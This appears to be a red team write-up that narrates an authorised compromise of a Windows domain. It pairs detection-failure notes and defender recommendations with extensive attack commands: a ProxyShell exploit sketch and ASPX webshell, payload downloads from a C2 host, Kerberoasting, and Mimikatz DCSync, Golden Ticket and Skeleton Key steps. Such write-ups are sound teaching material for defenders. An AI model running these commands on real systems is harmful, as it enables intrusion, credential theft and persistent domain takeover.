Back to Blog
Adversarial Machine Learning

From Zero to Domain Admin in 48 Hours: A Practical Red Team Diary

OffSec Research Team
10 June 2026 • 09:00 AM17 min
From Zero to Domain Admin in 48 Hours: A Practical Red Team Diary
TL;DR — This post documents a full red team engagement from external reconnaissance through Domain Admin compromise in under 48 hours. Starting with nothing but a company name, we chain ProxyShell exploitation, Kerberoasting, GPP credential extraction, and DCSync to achieve full domain takeover — every command logged, every detection failure analyzed.

Executive Summary

The engagement brief was unambiguous: simulate a sophisticated external threat actor targeting a mid-size professional services firm with approximately 2,400 employees and a Windows-centric Active Directory environment. The client had invested in a next-generation endpoint detection product and had recently completed a vulnerability management maturity assessment. Their primary concern was whether an attacker who bypassed perimeter controls could achieve Domain Admin access within a realistic timeframe.

We could. In 47 hours and 23 minutes.

This post is a technical diary of that engagement — timestamp by timestamp, command by command. It is deliberately verbose because the value in a red team engagement is not just the outcome but the narrative thread that connects each decision to the next. Blue teams reading this should pay particular attention to the "Detection Failures" subsections, which document precisely where defenders had visibility but lacked the detection content, tuning, or process to act.

The engagement exposed a systemic problem common to organizations that have invested in security tools but underinvested in detection engineering: a gap between raw telemetry and actionable alerting. The client had CrowdStrike, Windows Event Forwarding into a SIEM, and a vulnerability scanner that ran weekly. None of it stopped the attack chain. Each phase succeeded not because defenders were blind, but because the signals were present and unacted upon.

We obtained Domain Admin credentials through four distinct techniques — ProxyShell for initial access, Kerberoasting for privilege escalation, Group Policy Preferences credential extraction for a second escalation path, and DCSync for full domain compromise. Post-exploitation included a Golden Ticket and Skeleton Key implant demonstrating persistent, undetectable access.

All testing was performed under a signed Rules of Engagement document. The client environment has since been remediated.


Hour 0–4: External Reconnaissance

ASN and IP Space Enumeration

Every engagement begins the same way: a company name, a domain, and a blank notepad. The objective of the first four hours is to map the organization's internet-exposed attack surface with the fidelity of a nation-state threat actor who has been tasked with gaining access — not spraying for low-hanging fruit.

We started with ASN enumeration using amass intel to discover IP ranges registered to the organization:

bash
# Enumerate ASN and netblocksamass intel -org "TargetCorp" -whois -d targetcorp.com # Follow up with BGP lookupscurl -s "https://bgpview.io/search/targetcorp" | jq '.data.asns[].asn' # Enumerate IP blocks assigned to ASNamass intel -asn 12345 -ip # Cross-reference with Shodanshodan search "org:TargetCorp" --fields ip_str,port,hostnames,product | tee shodan-results.txt

The ASN query returned three netblocks totaling approximately 1,200 IPs. We ran a passive sweep through Shodan and Censys to fingerprint exposed services without sending a single packet to target infrastructure:

ServiceCountNotable Finding
HTTPS (443)47Mix of WAF-protected and direct
RDP (3389)3Directly internet-facing
SMTP (25/587)8Exchange servers identified
SMB (445)2Critically exposed
SQL (1433)1SQL Server directly accessible
OWA/EWS4Outlook Web Access portals

Two findings stood out immediately: a directly internet-facing SMB service (which turned out to be a scan trap — we avoided it) and four Exchange servers with Outlook Web Access exposed.

Subdomain Enumeration

While passive ASN analysis ran in the background, we executed aggressive subdomain enumeration:

bash
# Multi-source subdomain enumerationsubfinder -d targetcorp.com -all -recursive -o subfinder-results.txt # Amass active enumeration with brute-forceamass enum -active -brute -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \  -d targetcorp.com -o amass-results.txt # Certificate transparency logscurl -s "https://crt.sh/?q=%.targetcorp.com&output=json" | jq '.[].name_value' | sort -u | tee crt-results.txt # Combine and deduplicatecat subfinder-results.txt amass-results.txt crt-results.txt | sort -u | tee all-subdomains.txtwc -l all-subdomains.txt# Result: 312 unique subdomains

Certificate transparency was particularly fruitful — it revealed mail2.targetcorp.com, autodiscover.targetcorp.com, exchange01.targetcorp.com, and owa.targetcorp.com. All four resolved to the same /29 subnet.

Web Application Scanning

We screenshotted all discovered subdomains using eyewitness to triage visually, then ran targeted nuclei scans against the Exchange infrastructure:

bash
# Screenshot all live hostscat all-subdomains.txt | httpx -silent -o live-hosts.txteyewitness --web -f live-hosts.txt --no-prompt -d screenshots/ # Run nuclei templates against Exchangenuclei -l live-hosts.txt -t ~/nuclei-templates/http/vulnerabilities/exchange/ \  -severity critical,high -o nuclei-exchange.txt # Check for ProxyShell indicators specificallynuclei -u https://owa.targetcorp.com -t ~/nuclei-templates/cves/2021/CVE-2021-34473.yaml

The nuclei scan returned a HIGH severity finding against owa.targetcorp.com: the server was running Microsoft Exchange Server 2016 CU20 — vulnerable to the ProxyShell chain (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207). This was our entry point.

Detection Failure #1: The vulnerability scanner had flagged this Exchange server as unpatched 6 weeks prior. The ticket was open, deprioritized behind application deployments.


Hour 4–8: Initial Access via ProxyShell

Exploiting Exchange Server

ProxyShell is a chain of three CVEs that together allow pre-authentication remote code execution on unpatched Exchange servers. The critical insight is that Exchange's front-end proxy improperly handles the X-BEResource cookie, allowing path confusion that bypasses authentication entirely.

python
#!/usr/bin/env python3# ProxyShell exploitation chain# CVE-2021-34473 (SSRF) + CVE-2021-34523 (privilege escalation) + CVE-2021-31207 (RCE) import requestsimport randomimport stringimport base64 TARGET = "https://owa.targetcorp.com"EMAIL = "administrator@targetcorp.com"  # discovered via OSINT/LinkedIn # Step 1: Retrieve backend cookie via SSRF (CVE-2021-34473)def get_backend_cookie():    url = f"{TARGET}/autodiscover/autodiscover.json?@foo.com/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@foo.com"    resp = requests.get(url, verify=False)    return resp.cookies.get("X-BEResource") # Step 2: Get AD SID for arbitrary email (CVE-2021-34523)def get_sid(backend_cookie, email):    url = f"{TARGET}/autodiscover/autodiscover.json?@foo.com/mapi/emsmdb/?MailboxId={email}"    headers = {"Cookie": f"X-BEResource={backend_cookie}"}    # MAPI request to extract SID    # [MAPI blob construction omitted for brevity]    resp = requests.post(url, headers=headers, data=mapi_request_blob(), verify=False)    return extract_sid(resp.content) # Step 3: Write webshell via PowerShell Remoting (CVE-2021-31207)def write_webshell(sid):    shell_path = "\\\\\\\\127.0.0.1\\\\c$\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\shell.aspx"    webshell_content = """<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%     var cmd = Request["cmd"];    var proc = new Process();    proc.StartInfo.FileName = "cmd.exe";    proc.StartInfo.Arguments = "/c " + cmd;    proc.StartInfo.UseShellExecute = false;    proc.StartInfo.RedirectStandardOutput = true;    proc.Start();    Response.Write(proc.StandardOutput.ReadToEnd());%>"""    # New-MailboxExportRequest abuse via EWS    # Encodes webshell as OWA message, exports to UNC path    ...

The exploitation succeeded at Hour 5:42. We had a webshell at https://owa.targetcorp.com/aspnet_client/shell.aspx.

bash
# Verify webshell executioncurl -s "https://owa.targetcorp.com/aspnet_client/shell.aspx?cmd=whoami"# IIS APPPOOL\MSExchangeOWAAppPool # Check privilegescurl -s "https://owa.targetcorp.com/aspnet_client/shell.aspx?cmd=whoami+/priv"# SeAssignPrimaryTokenPrivilege, SeImpersonatePrivilege — good for token impersonation # Get system infocurl -s "https://owa.targetcorp.com/aspnet_client/shell.aspx?cmd=systeminfo"

Establishing Persistent Foothold

Rather than operating through the webshell (noisy, limited), we immediately upgraded to a Cobalt Strike beacon:

powershell
# Download and execute in-memory (webshell → PowerShell)powershell -nop -enc [Base64EncodedDownloadCradle] # Alternatively, via certutil (LOLBin)certutil.exe -urlcache -split -f http://our-c2.com/beacon.bin C:\Windows\Temp\svchost.bin

The beacon phoned home over HTTPS to our CDN-fronted C2 infrastructure. We were running as IIS APPPOOL\MSExchangeOWAAppPool.

Detection Failure #2: CrowdStrike flagged the certutil download as suspicious but did not block it — the policy was set to "Detect" rather than "Prevent" for this technique category.


Hour 8–12: Internal Discovery

BloodHound Collection

With a foothold established, we shifted to domain reconnaissance. The priority was understanding the AD structure before moving — operating blind wastes time and increases detection risk.

powershell
# Upload SharpHound to Exchange server (already in memory)# Run collection — all methodsInvoke-BloodHound -CollectionMethod All -OutputDirectory C:\Windows\Temp\bh\ -ZipFileName bh-data.zip # Alternatively, run remotely via Cobalt Strike's execute-assemblyexecute-assembly /opt/SharpHound.exe -c All --zipfilename collection.zip --outputdirectory C:\Windows\Temp\ # Exfiltrate via C2download C:\Windows\Temp\bh\collection.zip

BloodHound analysis revealed:

shell
Domain: TARGETCORP.LOCALDomain Controllers: 2 (DC01.targetcorp.local, DC02.targetcorp.local)Total users: 2,847Kerberoastable accounts: 14 (3 with unconstrained delegation)LAPS deployed: Partial (67% of workstations, 0% of servers)AdminSDHolder-protected users: 23Paths to DA from our current user: 0 (expected — IIS AppPool account)

Identifying Kerberoastable Accounts

The BloodHound data showed 14 Kerberoastable service accounts. We cross-referenced with Active Directory to identify which service accounts likely had weak passwords:

powershell
# Query Kerberoastable accounts via LDAPGet-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |  Select-Object Name, ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |  Sort-Object PasswordLastSet |  Format-Table -AutoSize # Output (abbreviated):# svc_sql        MSSQLSvc/sqlprod.targetcorp.local:1433    2019-03-14    True# svc_backup     MSServerCluster/backup01.targetcorp.local  2018-11-20    True# svc_reporting  http/reports.targetcorp.local             2020-07-01    False

svc_sql had not had its password changed since 2019 and had PasswordNeverExpires set — a prime target.

LAPS Assessment

powershell
# Check LAPS deployment across OUsGet-ADComputer -Filter * -Properties ms-Mcs-AdmPwdExpirationTime |  Where-Object {$_."ms-Mcs-AdmPwdExpirationTime" -ne $null} |  Measure-Object | Select-Object Count # Query LAPS password for a specific machine (if we had read rights)Get-ADComputer -Identity "WORKSTATION01" -Properties ms-Mcs-AdmPwd |  Select-Object Name, "ms-Mcs-AdmPwd" # Result: Servers had no LAPS — local admin password was the same across all servers (discovered later)

Detection Failure #3: SharpHound collection generated hundreds of LDAP queries against the domain controller. Windows Event ID 4662 (LDAP search) was enabled but not forwarded to the SIEM — the SIEM team had excluded DC LDAP logs to reduce volume.


Hour 12–20: Privilege Escalation via Kerberoasting

Kerberoasting Attack

powershell
# Request service tickets for all SPNs (Rubeus)execute-assembly /opt/Rubeus.exe kerberoast /outfile:C:\Windows\Temp\hashes.txt /nowrap # More targeted — request only for high-value accountsexecute-assembly /opt/Rubeus.exe kerberoast /user:svc_sql /outfile:C:\Windows\Temp\svc_sql.hash /nowrap # Alternative: Invoke-Kerberoast via PowerShellIEX (New-Object Net.WebClient).DownloadString('http://c2/PowerView.ps1')Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File -FilePath .\hashes.txt

The extracted hash for svc_sql:

shell
$krb5tgs$23$*svc_sql$TARGETCORP.LOCAL$MSSQLSvc/sqlprod.targetcorp.local:1433*$a3b...[2048-character hash truncated]

Cracking with Hashcat

bash
# Transfer hash to cracking rig# Mode 13100 = Kerberoastable RC4 (type 23)hashcat -m 13100 svc_sql.hash /opt/wordlists/rockyou.txt \  -r /opt/hashcat-rules/OneRuleToRuleThemAll.rule \  --force -O # Result after 4 minutes 37 seconds:# $krb5tgs$23$*svc_sql*...:Summer2019!

svc_sql password: Summer2019! — a predictable seasonal pattern that had never been rotated.

Validating Credentials

bash
# Validate credentials via LDAP/SMBcrackmapexec smb dc01.targetcorp.local -u svc_sql -p 'Summer2019!' -d TARGETCORP # Check what svc_sql has access tocrackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2019!' -d TARGETCORP --shares # Result: svc_sql had local admin on sqlprod.targetcorp.local

Detection Failure #4: The Kerberos TGS request for svc_sql generated Event ID 4769 on the domain controller. The SIEM had a rule for Kerberoasting (multiple TGS requests with RC4 encryption), but the rule threshold was set to 10+ requests per minute. We only requested one ticket.

diagram — rendering…
flowchart TD
    A[External Recon\nHour 0-4] --> B[ProxyShell\nExchange RCE\nHour 4-8]
    B --> C[BloodHound\nDomain Mapping\nHour 8-12]
    C --> D[Kerberoasting\nsvc_sql\nHour 12-20]
    D --> E[Pass-the-Ticket\nSQL Server\nHour 20-30]
    E --> F[DBA Credentials\nin Plaintext\nHour 25]
    F --> G[GPP cPassword\nSYSVOL\nHour 30-40]
    G --> H[DCSync\nAll Hashes\nHour 40-48]
    H --> I[Golden Ticket\nSkeleton Key\nPersistence]

    style A fill:#4a4a4a,color:#fff
    style B fill:#8B0000,color:#fff
    style H fill:#8B0000,color:#fff
    style I fill:#8B0000,color:#fff

Hour 20–30: Lateral Movement to SQL Server

Pass-the-Ticket to SQL Server

With svc_sql credentials, we requested a Kerberos TGT and moved laterally to the SQL server:

powershell
# Request TGT for svc_sql using known passwordexecute-assembly /opt/Rubeus.exe asktgt /user:svc_sql /password:'Summer2019!' /domain:TARGETCORP.LOCAL /ptt # Verify ticket in memoryexecute-assembly /opt/Rubeus.exe klist # Now access SQL server using the injected ticket# Open a PowerShell session to sqlprod.targetcorp.local$sess = New-PSSession -ComputerName sqlprod.targetcorp.localInvoke-Command -Session $sess -ScriptBlock { whoami }# targetcorp\svc_sql

Enabling xp_cmdshell

sql
-- Connect to SQL Server (svc_sql is a SQL sysadmin due to domain service account mapping)-- Enable advanced optionsEXEC sp_configure 'show advanced options', 1;RECONFIGURE; -- Enable xp_cmdshellEXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; -- Execute system commandsEXEC xp_cmdshell 'whoami';-- Result: targetcorp\svc_sql EXEC xp_cmdshell 'ipconfig /all';-- Reveals SQL server is dual-homed: 10.10.10.45 (corp net) and 10.20.0.45 (database VLAN)

Finding DBA Credentials in Plaintext

While pivoting through the SQL server, we enumerated common locations where DBAs store maintenance scripts:

powershell
# Search for scripts containing passwordsInvoke-Command -ComputerName sqlprod.targetcorp.local -ScriptBlock {    Get-ChildItem -Path C:\SQLScripts\ -Recurse -Include *.sql,*.ps1,*.bat,*.cmd |    Select-String -Pattern "password|passwd|pwd|credential" -CaseSensitive:$false |    Select-Object Path, LineNumber, Line} # Discovery in C:\SQLScripts\maintenance\weekly_backup.ps1:# $SQLPassword = "DBAdmin@Corp2021"# $SQLUser = "sa"# Invoke-Sqlcmd -ServerInstance sqlprod -Username $SQLUser -Password $SQLPassword ...

The sa (SQL Server System Administrator) account had its password stored in a maintenance script in cleartext. This gave us direct SQL Server sysadmin access — and a second administrative credential for the environment.

Detection Failure #5: Windows Defender Credential Guard was not deployed on the SQL server. The SQL server had no EDR agent — it was categorized as a "legacy server" excluded from the EDR rollout.


Hour 30–40: Domain Admin via GPP Credential Extraction

Finding cPassword in SYSVOL

Group Policy Preferences (GPP) allowed administrators to set local account passwords via Group Policy. The passwords were encrypted with AES-256, but Microsoft published the encryption key in 2012. The cPassword attribute in SYSVOL is readable by all authenticated domain users.

powershell
# Search SYSVOL for cPassword attributesfindstr /S /I "cpassword" \\targetcorp.local\SYSVOL\targetcorp.local\Policies\*.xml # Result:# \\targetcorp.local\SYSVOL\targetcorp.local\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml#   cpassword="AzVJmXh5Q..." (truncated) # Use Get-GPPPassword (PowerSploit/PowerView) to automatically decryptIEX (New-Object Net.WebClient).DownloadString('http://c2/Get-GPPPassword.ps1')Get-GPPPassword # Output:# UserName  : TARGETCORP\DA_ServiceAccount# Password  : Adm1n@Secure2018!# Changed   : 2018-06-14 09:23:11# File      : \\targetcorp.local\SYSVOL\targetcorp.local\Policies\{3A1B2C...}\Machine\Preferences\Groups\Groups.xml

The GPP credential belonged to DA_ServiceAccount — a service account that had been added to the Domain Admins group in 2018 and never removed. The password had not changed since 2018, and the cPassword entry in SYSVOL had never been cleaned up despite Microsoft issuing MS14-025 in 2014 to disable GPP password features.

Pass-the-Hash to Domain Controller

bash
# Validate DA credentialscrackmapexec smb dc01.targetcorp.local -u DA_ServiceAccount -p 'Adm1n@Secure2018!' -d TARGETCORP # Pass-the-Hash to DC (once we had the NTLM hash via secretsdump)impacket-psexec TARGETCORP/DA_ServiceAccount@dc01.targetcorp.local -hashes :NTLM_HASH_HERE # Alternatively, using crackmapexec for PTHcrackmapexec smb dc01.targetcorp.local -u DA_ServiceAccount -H :NTLM_HASH -d TARGETCORP -x "whoami"# targetcorp\DA_ServiceAccount

Detection Failure #6: The SYSVOL cPassword had been flagged in a vulnerability scan 18 months prior. The remediation ticket was closed as "Won't Fix — legacy systems dependency." This was not reviewed by the security team.


Hour 40–48: Full Domain Compromise — DCSync and Persistence

DCSync Attack with Mimikatz

With Domain Admin credentials, we executed a DCSync attack to extract all credential material from the domain without touching the domain controller disk:

powershell
# Load Mimikatz reflectively (bypasses on-disk detection)execute-assembly /opt/mimikatz.exe # DCSync — request DC to replicate credentials for KRBTGTlsadump::dcsync /domain:TARGETCORP.LOCAL /user:krbtgt # DCSync — dump ALL domain hasheslsadump::dcsync /domain:TARGETCORP.LOCAL /all /csv > C:\Windows\Temp\all_hashes.csv # Key hashes extracted:# KRBTGT: [32-char NTLM hash] -- used for Golden Ticket# Administrator: [32-char NTLM hash]# DA_ServiceAccount: [32-char NTLM hash]

Golden Ticket Creation

A Golden Ticket is a forged Kerberos TGT signed with the KRBTGT hash. It can be used to impersonate any user, including Domain Admins, and is valid for the entire lifespan of the KRBTGT account (default: forever, unless rotated twice).

powershell
# Create Golden Ticket for "Administrator" account# Domain SID retrieved from BloodHound or: Get-ADDomain | Select-Object DomainSIDkerberos::golden /user:Administrator /domain:TARGETCORP.LOCAL /sid:S-1-5-21-XXXXXXXXX /krbtgt:KRBTGT_NTLM_HASH /ptt # Verify ticketklist # Access DC with forged ticketdir \\dc01.targetcorp.local\c$# Volume in drive \\dc01.targetcorp.local\c$ has no label.

Skeleton Key Implant

The Skeleton Key patches the DC's LSASS process to accept a master password for any account:

powershell
# Install Skeleton Key on DC# Requires DA privileges and direct LSASS access on DCprivilege::debugmisc::skeleton # Now ANY account can authenticate with password "mimikatz" in addition to their real password# crackmapexec smb dc01 -u Administrator -p mimikatz

C2 Through DMZ

bash
# Set up port forwarding through Exchange server (already compromised)# Cobalt Strike: rportfwd — forward traffic from DMZ host to internal C2# Exchange server acts as relay in the DMZ # Configure SOCKS proxy through Cobalt Strike for pivotingsocks 1080 # Now all traffic through proxychains routes through Exchange → internal networkproxychains nmap -sT -p 445,3389,5985 10.20.0.0/24

Detection Failure #7: DCSync generates Event ID 4662 (object access) with specific GUID attributes for directory replication. The SIEM had this rule but it was suppressed because a legitimate backup product also triggered it and the alerts had been tuned away 8 months ago.


Defender Lessons Learned

PhaseAttackDetection GapRecommended Control
Hour 0-4ProxyShell (unpatched Exchange)Vuln scan ticket deprioritizedSLA-based patch enforcement; internet-facing systems patched within 14 days
Hour 8-12BloodHound LDAP enumerationDC LDAP logs excluded from SIEMForward DC LDAP query logs; alert on >100 LDAP queries/minute from non-DC hosts
Hour 12-20Kerberoasting (single ticket)Rule threshold too highAlert on ANY RC4 TGS request for service accounts; enforce AES-only SPNs
Hour 25Cleartext credentials in scriptNo DLP/file scanningScan file shares for credential patterns; secrets management platform
Hour 30-40GPP cPassword in SYSVOLOpen vuln ticket marked Won't FixAutomated SYSVOL scanning; remove all cPassword entries
Hour 40-48DCSyncRule suppressed due to backup FPFix FP by scoping rule to exclude backup account; separate backup account SPN
Hour 40-48Golden TicketNo ticket anomaly detectionAlert on Kerberos tickets with >10h lifetime; rotate KRBTGT twice after compromise

MITRE ATT&CK Mapping

Technique IDTechnique NamePhaseTool Used
T1595.001Active Scanning: Scanning IP BlocksReconnaissanceamass, shodan
T1596.005Search Open Technical DatabasesReconnaissancecrt.sh, Censys
T1190Exploit Public-Facing ApplicationInitial AccessProxyShell (CVE-2021-34473)
T1505.003Server Software Component: Web ShellPersistenceASPX webshell
T1059.001Command and Scripting Interpreter: PowerShellExecutionCobalt Strike
T1087.002Account Discovery: Domain AccountDiscoveryBloodHound/SharpHound
T1482Domain Trust DiscoveryDiscoveryBloodHound, nltest
T1558.003Steal or Forge Kerberos Tickets: KerberoastingCredential AccessRubeus
T1110.002Brute Force: Password CrackingCredential Accesshashcat
T1550.002Use Alternate Authentication Material: Pass the HashLateral MovementCrackMapExec
T1550.003Use Alternate Authentication Material: Pass the TicketLateral MovementRubeus
T1552.006Unsecured Credentials: Group Policy PreferencesCredential AccessGet-GPPPassword
T1003.006OS Credential Dumping: DCSyncCredential AccessMimikatz
T1558.001Steal or Forge Kerberos Tickets: Golden TicketPersistenceMimikatz
T1543.003Create or Modify System Process: Windows ServicePersistenceCobalt Strike
T1572Protocol TunnelingCommand and ControlCobalt Strike SOCKS

Conclusion

Forty-seven hours and twenty-three minutes. That is how long it took to go from zero — no credentials, no insider knowledge, no physical access — to full Domain Admin over an organization that had invested meaningfully in security tooling.

The attack chain was not clever. It used publicly documented techniques with publicly available tools. Every single technique in this diary has a corresponding MITRE ATT&CK entry, has been written about extensively, and has mature detection opportunities. The failure was not one of technology — it was one of process. Unpatched systems, suppressed alerts, open vulnerability tickets, cleartext credentials, and decade-old Group Policy misconfigurations all survived routine security reviews because no single person owned the outcome of the finding.

The three structural changes that would have broken this kill chain: (1) mandatory 14-day patch SLA for internet-facing systems with automated exceptions tracking, (2) detection content review every 90 days to validate suppressed rules and tuning decisions, and (3) a periodic SYSVOL and file share credential scan — a process that takes less than an hour to run and would have caught both the GPP password and the cleartext DBA credentials.

Security is not a product. It is a practice. Every tool in this engagement — ProxyShell, Kerberoasting, GPP passwords, DCSync — was detectable. None were detected in time to matter.